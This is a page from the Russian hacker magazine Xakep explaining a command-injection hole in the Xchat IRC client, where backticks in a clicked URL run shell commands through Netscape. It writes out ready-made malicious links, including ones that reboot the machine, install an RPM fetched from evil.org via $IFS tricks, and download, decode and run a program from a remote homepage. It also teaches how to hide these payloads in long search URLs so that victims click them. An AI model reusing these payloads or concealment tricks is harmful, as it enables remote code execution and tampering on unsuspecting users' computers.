|

Убитый Xchat
Xakep, номер #023, стр. 023-050-2
Теперь представь, что в окне диалога появляется надпись вроде
-=l00k @ d15 k3w1 w@r3z 5173!=- http://www.altavista.com/?x=`date`y='`date`'.
При открытии этого линка вышеописанным способом (Existing или New Window) будет запущена команда netscape -remote 'openURL(http://www.altavista.com/?x=`date`y='`date`')'. А теперь посмотри на эту команду внимательно!!! Как ты можешь заметить, перед вторым `date` стоит закрывающая обратная галочка ('). После `date` значок (') снова открывается (перед скобкой). Так что теперь вторая команда `date` не относится к открываемому URL и оставлена на независимое выполнение. Что и происходит :). Если же линк открывается через Netscape (Run New), то выполняется команда netscape http://www.altavista.com/?x=`date`y='`date`'. Теперь открыта на свободное выполнение первая команда `date`, что приводит к тому же результату :).
Но в реальной жизни все немного сложнее. Вряд ли кто-то решится открыть линк типа http://`reboot`/'`reboot`' =). Но и из этой ситуации можно найти выход!!! Как ты знаешь, адреса страниц могут быть достаточно длинными. Например, сравни два следующих URL, использующих вызов CGI скрипта.
1)http://www.altavista.com/cgi-bin/query?pg=q&stype=stext&Translate=on&sc=on&q=%2bxchat+%2bbacktick+%2bexploit&stq=10
2)http://www.altavista.com/cgi-bin/query?pg=q&stype=stext&Translate=on&sc=on&q=%2bxchat+%2b`reboot`+%2bexploit&stq=10&filter='`reboot`'&user=b0dee0132&split=1
Казалось бы, особой разницы нет, но при внимательном просмотре станет ясно, что во втором линке запрятана та же инструкция к перезагрузке машины =).
Конечно же, ты можешь возразить: а как же команды, где пробелы нужны промеж параметрами, да и редиректами неплохо бы порулить. Совершенно верно!!! Если сделать возможным исполнение команд с параметрами, то шансы наиболее эффективно использовать данную уязвимость значительно возрастут. А использование редиректов (перенаправления с одного URL на другой) принесет еще большую гибкость реализации твоих злобных планов. =) Только возникает вопрос - а как это, собственно, сделать? Ответ простой - с помощью переменной $IFS. Рассмотри следующий пример:
http://www.altavista.com/?'"`rpm${IFS}-i${IFS}http://evil.org/evil.rpm`"'
Это пример для опций "New Window" или "Existing". Как видишь - на этот раз через открытие ссылки Xchat запускает команду удаленной инсталляции rpm пакета :). Конечно, этот пример достаточно откровенен и прозрачен, но ведь и его можно замаскировать так же, как мы маскировали инструкции к перезагрузке.
Ну а теперь давай рассмотрим более интересный и показательный пример. Открой свой Xchat (если он у тебя есть... Если нет - то просто читай дальше) и введи URL:
http://this.should.work.com/cgi-bin/search.cgi?q='`lynx${IFS}-dump${IFS}http://homepages.ihug.co.nz/~Sneuro/thing|uudecode;./thingee`'
Готово? Теперь запусти Netscape и открой этот линк с помощью опции "New Window" или "Existing". Все... Ты попал... правда, попал не сильно, так как это был просто демонстрационный пример. Но тем не менее в файле /.bash_profile твоей домашней директории появились две новых строчки :) ->
Назад на стр. 023-050-1 Содержание Вперед на стр. 023-050-3
|